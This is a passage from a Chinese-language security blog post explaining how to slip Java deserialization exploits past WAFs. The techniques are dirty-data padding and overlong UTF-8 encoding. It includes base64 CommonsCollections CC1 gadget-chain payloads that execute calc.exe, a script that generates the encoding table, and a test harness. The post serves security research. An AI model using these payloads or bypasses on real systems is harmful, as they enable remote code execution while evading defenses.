XRNZXRob2R1cQB+AC0AAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAtc3EAfgAmdXEAfgAqAAAAAnB1cQB+ACoAAAAAdAAGaW52b2tldXEAfgAtAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AKnNxAH4AJnVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AAhjYWxjLmV4ZXQABGV4ZWN1cQB+AC0AAAABcQB+ADJzcQB+ACJzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=<\/code><\/pre>\n\n\n\n<p>\u63d2\u5165\u810f\u6570\u636e\u540e(500 TC_RESET)\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>rO0ABXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5c3IALmphdmF4Lm1hbmFnZW1lbnQuQmFkQXR0cmlidXRlVmFsdWVFeHBFeGNlcHRpb27U59qrYy1GQAIAAUwAA3ZhbHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hyABNqYXZhLmxhbmcuRXhjZXB0aW9u0P0fPho7HMQCAAB4cgATamF2YS5sYW5nLlRocm93YWJsZdXGNSc5d7jLAwAETAAFY2F1c2V0ABVMamF2YS9sYW5nL1Rocm93YWJsZTtMAA1kZXRhaWxNZXNzYWdldAASTGphdmEvbGFuZy9TdHJpbmc7WwAKc3RhY2tUcmFjZXQAHltMamF2YS9sYW5nL1N0YWNrVHJhY2VFbGVtZW50O0wAFHN1cHByZXNzZWRFeGNlcHRpb25zdAAQTGphdmEvdXRpbC9MaXN0O3hwcQB+AAhwdXIAHltMamF2YS5sYW5nLlN0YWNrVHJhY2VFbGVtZW50OwJGKjw8\/SI5AgAAeHAAAAABc3IAG2phdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudGEJxZomNt2FAgAESQAKbGluZU51bWJlckwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFeHAAAAAqdAAMY29tLmRlbW8uQ0M1dAAIQ0M1LmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0\/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AFXhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR\/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQABmtleWtleXNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo\/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4ALQAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AC1zcQB+ACZ1cQB+ACoAAAACcHVxAH4AKgAAAAB0AAZpbnZva2V1cQB+AC0AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAqc3EAfgAmdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQACGNhbGMuZXhldAAEZXhlY3VxAH4ALQAAAAFxAH4AMnNxAH4AInNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA\/QAAAAAAAAHcIAAAAEAAAAAB4eA==<\/code><\/pre>\n\n\n\n<p>\u8fd9\u4e2a\u65b9\u6cd5\u7684\u7f3a\u70b9\u5c31\u662f\u810f\u6570\u636e\u7684\u53ea\u80fd\u63d2\u5165TC_RESET\uff0c\u63d2\u5165\u7684\u79cd\u7c7b\u4e0d\u591f\u591a\uff0c\u5982\u679cWAF\u5f00\u53d1\u8005\u6709\u8db3\u591f\u7684\u610f\u8bc6\u7684\u8bdd\u53ef\u80fd\u4f1a\u88ab\u9488\u5bf9\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1.3 \u5229\u7528\u5e8f\u5217\u5316\u7ed3\u6784-array\u5305\u88f9<\/h3>\n\n\n\n<p>\u5982\u679creadObject0\u8bfb\u5230\u4e86TC_ARRAY\uff0c\u4f1a\u8c03\u7528readArray\u5bf9\u6570\u7ec4\u7ed3\u6784\u8fdb\u884c\u89e3\u6790\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> case TC_ARRAY:\n          return checkResolve(readArray(unshared));<\/code><\/pre>\n\n\n\n<p>\u5176\u6d41\u7a0b\u5c31\u662f\u901a\u8fc7\u8bfb\u53d6classDesc\u4e2d\u7684\u957f\u5ea6\uff0c\u6839\u636e\u8fd9\u4e2a\u957f\u5ea6\u53c8\u53bb\u8bfb\u53d6\u76f8\u5e94\u7684\u6570\u636e\u4f5c\u4e3a\u6570\u7ec4\u3002\u6240\u4ee5\u6211\u4eec\u8fd9\u91cc\u53ef\u4ee5\u76f8\u5e94\u5730\u6dfb\u52a0\u4e00\u4e2aTC_ARRAY\u5934\uff0c\u7136\u540e\u628a\u6076\u610f\u5bf9\u8c61\u653e\u5728\u6570\u7ec4\u7684\u6700\u540e\uff0c\u524d\u9762\u586b\u5145\u810f\u6570\u636e\u3002<\/p>\n\n\n\n<p>\u8fd9\u4e2a\u65b9\u6cd5\u76f8\u6bd4\u4e8eTC_RESET\u7684\u586b\u5145\u597d\u5904\u81ea\u7136\u662f\u63d2\u5165\u6570\u636e\u4efb\u610f\uff0c\u7279\u5f81\u6027\u53ef\u4ee5\u4e0d\u5f3a\u4e86\u3002<\/p>\n\n\n\n<p>\u540c\u6837\u7684\uff0cSerializeJava\u4e5f\u652f\u6301\u8fd9\u4e00\u79cd\u586b\u5145\u810f\u6570\u636e\u7684\u65b9\u5f0f\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1.4 \u5176\u5b83\u5e8f\u5217\u5316\u7ed3\u6784\u5904\u7406\u5bfc\u81f4\u7684\u810f\u6570\u636e\u63d2\u5165<\/h3>\n\n\n\n<p>\u8fd9\u7bc7\u6587\u7ae0\u603b\u7ed3\u7684\u6bd4\u8f83\u8be6\u7ec6\uff1a<\/p>\n\n\n\n<p><a href=\"https:\/\/blog.csdn.net\/YakProject\/article\/details\/137014176\">Java\u5e8f\u5217\u5316\u4e2d\u7684\u810f\u6570\u636e\u7b56\u7565\uff1a\u7ed5\u8fc7WAF\u7684\u6218\u672f\u5206\u6790-CSDN\u535a\u5ba2<\/a><\/p>\n\n\n\n<p>\u4e0d\u8fc7\u603b\u7ed3\u4e0b\u6765\u8fd8\u662fTC_RESET\u7684\u63d2\u5165\u548c\u5229\u7528array\u7684\u5305\u88f9\u6700\u4e3a\u597d\u7528(\u4e00\u4e2a\u7b80\u5355\uff0c\u4e00\u4e2a\u517c\u5bb9\u6027\u5f3a)\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Trick2.\u53cd\u5e8f\u5217\u5316UTF\u89e3\u7801\u5bfc\u81f4\u7684OverLong Encoding bypass<\/h2>\n\n\n\n<p><strong>\u524d\u7f6e\u77e5\u8bc6<\/strong><\/p>\n\n\n\n<p>UTF(Unicode Transformation Format)\u662fUnicode\u7684\u7f16\u7801\u5f62\u5f0f\uff0cUnicode\u53ef\u4ee5\u7b80\u5355\u7406\u89e3\u4e3a\u6240\u6709\u7684\u53ef\u89c1\u5b57\u7b26\uff0c\u5982ascii\u5b57\u7b26\uff0c\u4e2d\u6587\uff0c\u65e5\u6587\u7b49\u7b49\u3002\u53c8\u6709\u591a\u4e2a\u53d8\u79cd\uff0c\u5982UTF-4\uff0cUTF-8, UTF-16\u7b49\u7b49\uff0c<\/p>\n\n\n\n<p>\u5e08\u5085\u4eec\u53ef\u80fd\u6709\u8fc7\u4e86\u89e3\uff0cJava\u5185\u90e8(\u5927\u90e8\u5206\u7248\u672c)\u662f\u4f7f\u7528UTF-16\u7f16\u7801\u50a8\u5b58\u5b57\u7b26\u7b49\u7684\uff0c\u4f46\u5728\u5e8f\u5217\u5316\/\u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b\u4e2d\uff0cJava\u5374\u662f\u4f7f\u7528\u4fee\u6539\u7248\u7684UTF-8\u7f16\u7801\u5f62\u5f0f\u8fdb\u884c\u7f16\u7801\u7684\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u4fee\u6539\u7248 UTF-8\uff08Modified UTF-8\uff09 \u662f\u7528\u4e8e Java \u5e8f\u5217\u5316\u8fc7\u7a0b\u4e2d\u7684\u5b57\u7b26\u4e32\u7f16\u7801\u683c\u5f0f\uff0c\u5b83\u662f Java \u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\u65f6\u4e13\u95e8\u4e3a String \u7c7b\u578b\u8bbe\u8ba1\u7684\u4e00\u79cd\u7f16\u7801\u65b9\u5f0f\u3002\u5b83\u662f\u57fa\u4e8e UTF-8 \u7f16\u7801\u7684\uff0c\u4f46\u5bf9 \u8865\u5145\u5b57\u7b26\uff08\u5373 Unicode \u8303\u56f4 U+10000 \u5230 U+10FFFF \u7684\u5b57\u7b26\uff09\u548c \u7a7a\u5b57\u7b26\uff08U+0000\uff09 \u8fdb\u884c\u4e86\u7279\u6b8a\u5904\u7406\uff1a\n\n\u7a7a\u5b57\u7b26\uff08U+0000\uff09\u5728\u6807\u51c6 UTF-8 \u4e2d\u662f\u4e00\u4e2a 1 \u5b57\u8282\u7684\u7f16\u7801\uff0c\u5728\u4fee\u6539\u7248 UTF-8 \u4e2d\uff0c\u5b83\u901a\u5e38\u8868\u793a\u4e3a 2 \u5b57\u8282\uff080xC0 0x80\uff09\u3002\n\u8865\u5145\u5b57\u7b26\uff08U+10000 \u53ca\u4ee5\u4e0a\uff09\u5728\u6807\u51c6 UTF-8 \u4e2d\u662f\u7528 4 \u4e2a\u5b57\u8282\u8868\u793a\u7684\uff0c\u4f46\u5728\u4fee\u6539\u7248 UTF-8 \u4e2d\uff0c\u8fd9\u4e9b\u5b57\u7b26\u901a\u8fc7\u4e24\u4e2a 3 \u5b57\u8282\u7684\u7f16\u7801\uff08\u4ee3\u7406\u5bf9\uff09\u6765\u8868\u793a\uff0c\u4fdd\u6301\u4e0e Java char \u7c7b\u578b\u7684\u517c\u5bb9\u6027\u3002<\/code><\/pre>\n\n\n\n<p>\u8fd9\u4e9b\u5b57\u9762\u5185\u5bb9\u4e86\u89e3\u5373\u53ef\uff0c\u6211\u4eec\u53ef\u4ee5\u6765\u770b\u770bJava\u5185\u90e8\u53cd\u5e8f\u5217\u5316\u65f6\u7684\u5177\u4f53\u4ee3\u7801\u662f\u5982\u4f55\u5bf9UTF-8\u8fdb\u884c&#8221;\u89e3\u7801&#8221;\u7684\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>  private long readUTFSpan(StringBuilder sbuf, long utflen)\n            throws IOException\n        {\n            .......\n            try {\n                while (pos &lt; stop) {\n                    int b1, b2, b3;\n                    b1 = buf&#91;pos++] &amp; 0xFF;\n                    switch (b1 &gt;&gt; 4) {\n                        case 0:\n                        case 1:\n                        case 2:\n                        case 3:\n                        case 4:\n                        case 5:\n                        case 6:\n                        case 7:   \/\/ 1 byte format: 0xxxxxxx\n                            cbuf&#91;cpos++] = (char) b1;\n                            break;\n\n                        case 12:\n                        case 13:  \/\/ 2 byte format: 110xxxxx 10xxxxxx\n                            b2 = buf&#91;pos++];\n                            if ((b2 &amp; 0xC0) != 0x80) {\n                                throw new UTFDataFormatException();\n                            }\n                            cbuf&#91;cpos++] = (char) (((b1 &amp; 0x1F) &lt;&lt; 6) |\n                                                   ((b2 &amp; 0x3F) &lt;&lt; 0));\n                            break;\n\n                        case 14:  \/\/ 3 byte format: 1110xxxx 10xxxxxx 10xxxxxx\n                            b3 = buf&#91;pos + 1];\n                            b2 = buf&#91;pos + 0];\n                            pos += 2;\n                            if ((b2 &amp; 0xC0) != 0x80 || (b3 &amp; 0xC0) != 0x80) {\n                                throw new UTFDataFormatException();\n                            }\n                            cbuf&#91;cpos++] = (char) (((b1 &amp; 0x0F) &lt;&lt; 12) |\n                                                   ((b2 &amp; 0x3F) &lt;&lt; 6) |\n                                                   ((b3 &amp; 0x3F) &lt;&lt; 0));\n                            break;\n\n                        default:  \/\/ 10xx xxxx, 1111 xxxx\n                            throw new UTFDataFormatException();\n                    }\n                }\n                ........<\/code><\/pre>\n\n\n\n<p>\u53ef\u4ee5\u89c1\u5f97\uff0cJava\u53cd\u5e8f\u5217\u5316\u5728UTF&#8221;\u89e3\u7801&#8221;\u65f6\u80fd\u91c7\u7528\u4e09\u79cd\u65b9\u5f0f\uff1a\u4e00\u5b57\u8282\u3001\u4e8c\u5b57\u8282\u6216\u8005\u4e09\u5b57\u8282\u3002\u5e76\u6309\u7279\u5b9a\u7684\u5f02\u6216\u7b97\u6cd5\u53d6\u5f97\u5b57\u7b26\u3002<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>\u4ee3\u5165WAF\u7684\u89c6\u89d2\uff0c\u5982\u679c\u6211\u4eec\u8981\u68c0\u6d4b\u4e00\u4e32\u8f93\u5165\u6d41\u662f\u5426\u53ef\u80fd\u662f\u6076\u610f\u7684\uff0c\u5f53\u7136\u4f1a\u5bf9\u5176\u6076\u610f\u5b57\u7b26\u8fdb\u884c\u5165\u624b\u3002\u6bd4\u5982PHP\u4e2d\uff0c\u6211\u4eec\u5e38\u5e38\u5c06eval\uff0cexec,system\u8fd9\u6837\u7684\u5371\u9669\u51fd\u6570\u540d\u7ed9WAF\u6389\u3002\u5728Java\u53cd\u5e8f\u5217\u5316\u6d41\u4e2d\uff0c\u6211\u4eec\u4e5f\u53ef\u80fd\u4f1a\u628a\u6076\u610f\u7c7b\uff0c\u6bd4\u5982CC\u4e2d\u7684InvokeTransformedMap\uff0c\u6076\u610f\u53c2\u6570\uff0c\u6bd4\u5982getRuntime,exec\u7b49\u8fdb\u884c\u9488\u5bf9\u3002<\/p>\n\n\n\n<p>\u5982\u8fd9\u662fCC1\u94fe\u7684\u6587\u672c\u5f62\u5f0f\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20250107132349545.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20250107132349545.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250107132349545\"\/><\/div><\/figure>\n\n\n\n<p>\u4e86\u89e3\u4e86\u524d\u7f6e\u77e5\u8bc6\uff0c\u53ef\u80fd\u5c31\u4f1a\u6709\u4e00\u4e2a\u60f3\u6cd5\uff1a<strong>\u6211\u4eec\u80fd\u5426\u5229\u7528Java\u53cd\u5e8f\u5217\u5316\u7684UTF\u89e3\u7801\u7b97\u6cd5\uff0c\u5c06\u6570\u636e\u6d41\u4e2d\u7684\u53ef\u89c1\u5b57\u7b26\uff0c\u53d8\u6210\u76f8\u5e94\u7684\u4e8c\u5b57\u7b26\u751a\u81f3\u662f\u4e09\u5b57\u7b26\uff1f<\/strong><\/p>\n\n\n\n<p>\u5728\u4e0a\u6587\u7ed9\u51fa\u7684<strong>Object Serialization Stream Protocol<\/strong>\u5b98\u65b9\u6587\u6863\u4e2d\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>className:   \/\/\u7c7b\u540d\n  (utf)\n\nproxyInterfaceName:  \/\/\u4ee3\u7406\u63a5\u53e3\u540d\n  (utf)\n\nfieldName:  \/\/\u53d8\u91cf\u540d\n  (utf)\n\nnewString:  \/\/\u5b57\u7b26\u4e32\u7c7b\u578b(\u5305\u62ec\u53d8\u91cf\u7684\u503c)\n  TC_STRING newHandle (utf)\n  TC_LONGSTRING newHandle (long-utf)<\/code><\/pre>\n\n\n\n<p>\u8fd9\u4e9b\u90fd\u662fUTF\u683c\u5f0f\uff0c\u4e5f\u5c31\u610f\u5473\u7740\u6700\u540e\u90fd\u4f1a\u8d70\u5165\u53cd\u5e8f\u5217\u5316\u5904\u7406UTF\u7684\u4ee3\u7801\u903b\u8f91\u3002<\/p>\n\n\n\n<p>\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u5199\u4e00\u4e2a\u811a\u672c\uff0c\u8dd1\u51fa\u80fd\u5229\u7528\u53cd\u5e8f\u5217\u5316\u7b97\u6cd5\uff0c\u7ec4\u6210\u6574\u4e2aascii\u5b57\u7b26\u8868\u7684\u4e24\u4e2abyte\u548c\u4e09\u4e2abyte\u7684\u7ec4\u5408\u8868\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public class test0 {\n    public static void main(String&#91;] args) {\n\/\/\u4e24\u4e2abyte\u7ec4\u5408\uff1a\n\/\/        for (int ch = 0x20; ch &lt;= 0x7E; ch++) {      \n\/\/            boolean flag=false;\n\/\/            for (int b1 = 0xC0; b1 &lt;= 0xCF; b1++) {\n\/\/                for (int b2 = 0x80; b2 &lt;= 0xFF; b2++){\n\/\/                    char generatedChar = (char) (((b1 &amp; 0x1F) &lt;&lt; 6) |\n\/\/                            ((b2 &amp; 0x3F) &lt;&lt; 0));\n\/\/                    if (generatedChar == ch) {\n\/\/                        System.out.printf(\"\\\"%c\\\": {%#x, %#x},%n\", ch, b1, b2);\n\/\/                        flag=true;\n\/\/                        break;\n\/\/                    }\n\/\/                if(flag){\n\/\/                    break;\n\/\/                }\n\/\/            }\n\/\/        }\n\/\/   }\n\n\n\/\/\u4e09\u4e2abyte\u7ec4\u5408\uff1a\n        for (int ch = 0x20; ch &lt;= 0x7E; ch++) {\n            boolean flag=false;\n            for (int b1 = 0xE0; b1 &lt;= 0xEF; b1++) {\n                for (int b2 = 0x80; b2 &lt;= 0xFF; b2++){\n                    for (int b3 = 0x80; b3 &lt;= 0xFF; b3++) {\n                        char generatedChar = (char) (((b1 &amp; 0x0F) &lt;&lt; 12) |\n                                ((b2 &amp; 0x3F) &lt;&lt; 6) |\n                                ((b3 &amp; 0x3F) &lt;&lt; 0));\n                        if (generatedChar == ch) {\n                            System.out.printf(\"\\\"%c\\\": {%#x, %#x, %#x},%n\", ch, b1, b2,b3);\n                            flag=true;\n                            break;\n                        }\n                    }\n                if(flag){\n                    break;\n                }\n            }\n                if(flag){\n                    break;\n                }\n        }\n\n   }\n\n}}<\/code><\/pre>\n\n\n\n<p>\u6700\u540e\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>    \" \":  {0xc0, 0xa0},\n    \"!\":  {0xc0, 0xa1},\n    \"\\\"\": {0xc0, 0xa2},\n    \"#\":  {0xc0, 0xa3},\n    \"$\":  {0xc0, 0xa4},\n    \"%\":  {0xc0, 0xa5},\n    \"&amp;\":  {0xc0, 0xa6},\n    \"'\":  {0xc0, 0xa7},\n....\n    \" \":  {0xe0, 0x80, 0xa0},\n    \"!\":  {0xe0, 0x80, 0xa1},\n    \"\\\"\": {0xe0, 0x80, 0xa2},\n    \"#\":  {0xe0, 0x80, 0xa3},\n    \"$\":  {0xe0, 0x80, 0xa4},\n    \"%\":  {0xe0, 0x80, 0xa5},\n    \"&amp;\":  {0xe0, 0x80, 0xa6},\n    \"'\":  {0xe0, 0x80, 0xa7},\n....<\/code><\/pre>\n\n\n\n<p>(\u5728https:\/\/github.com\/byname66\/SerializeJava\u7684\/common\/model.go\u4e2d\u81ea\u53d6)<\/p>\n\n\n\n<p>\u5728SerializeJava\u4e2d\u5df2\u7ecf\u4ece\u5e95\u5c42\u5b9e\u73b0\u5199\u4e86\u8fd9\u4e2a\u529f\u80fd\uff0c\u8fd9\u91cc\u5c31\u76f4\u63a5\u5229\u7528\u5de5\u5177\u751f\u6210\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20250107134354268.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20250107134354268.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250107134354268\"\/><\/div><\/figure>\n\n\n\n<p>\u5728UTF OverLong Encoding\u6a21\u5757\u4e2dcheck\u540e\u9009\u62e9\u7528\u51e0\u5b57\u7b26OverLong Encoding\u7684\u6a21\u5f0f\uff0c\u518d\u70b9\u51fbchange\u3002<\/p>\n\n\n\n<p>\u540c\u6837\u662f\u4ee5\u521a\u624d\u7684CC1\u4e3a\u4f8b\uff0c\u8fd9\u91cc\u653e\u4e0a\u6539\u53d8\u540e\u7684\u7ed3\u679c\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20250107134558217.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20250107134558217.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250107134558217\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u89c1\u5f97\u6548\u679c\u786e\u5b9e\u5f88\u597d\uff0c\u5c06\u4e4b\u524d\u6570\u636e\u6d41\u4e2d\u53ef\u8bfb\u7684\u5b57\u7b26\u5f62\u5f0f\u90fd\u8f6c\u53d8\u6210\u4e86\u4e24\u4e2a\u4e0d\u53ef\u8bfb\u7684\u5b57\u7b26\u6d41\uff0c\u53ef\u4ee5\u6709\u6548\u5730bypass\u6389\u8fc7\u6ee4\u53ef\u8bfb\u5b57\u7b26\u7684WAF\u3002<\/p>\n\n\n\n<p>\u5e76\u4e14\u653e\u5165\u6709CC1\u4f9d\u8d56\u7684\u53cd\u5e8f\u5217\u5316\u811a\u672c\u4e2d\u4f9d\u7136\u53ef\u4ee5\u6267\u884c\u547d\u4ee4\uff0c\u5f39\u51fa\u8ba1\u7b97\u5668\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.demo;\n\nimport java.io.*;\nimport java.util.Base64;\nimport java.util.Base64.*;\n\npublic class Unser {\n    public static void main(String&#91;] args) throws IOException, ClassNotFoundException {\n              readObject(\"rO0ABXNyAGTBs8G1wa7ArsGywaXBpsGswaXBo8G0wK7BocGuwa7Br8G0waHBtMGpwa\/BrsCuwYHBrsGuwa\/BtMGhwbTBqcGvwa7BicGuwbbBr8GjwaHBtMGpwa\/BrsGIwaHBrsGkwazBpcGyVcr1DxXLfqUCAAJMABjBrcGlwa3BosGlwbLBlsGhwazBtcGlwbN0AB7BjMGqwaHBtsGhwK\/BtcG0wanBrMCvwY3BocGwwLtMAAjBtMG5wbDBpXQAIsGMwarBocG2waHAr8GswaHBrsGnwK\/Bg8GswaHBs8GzwLt4cHN9AAAAAQAawarBocG2waHArsG1wbTBqcGswK7BjcGhwbB4cgAuwarBocG2waHArsGswaHBrsGnwK7BssGlwabBrMGlwaPBtMCuwZDBssGvwbjBueEn2iDMEEPLAgABTAACwah0AErBjMGqwaHBtsGhwK\/BrMGhwa7Bp8CvwbLBpcGmwazBpcGjwbTAr8GJwa7BtsGvwaPBocG0wanBr8GuwYjBocGuwaTBrMGlwbLAu3hwc3EAfgAAc3IAVMGvwbLBp8CuwaHBsMGhwaPBqMGlwK7Bo8Gvwa3BrcGvwa7Bs8CuwaPBr8GswazBpcGjwbTBqcGvwa7Bs8Cuwa3BocGwwK7BjMGhwbrBucGNwaHBsG7llIKeeRCUAwABTAAOwabBocGjwbTBr8Gywbl0AFjBjMGvwbLBp8CvwaHBsMGhwaPBqMGlwK\/Bo8Gvwa3BrcGvwa7Bs8CvwaPBr8Gs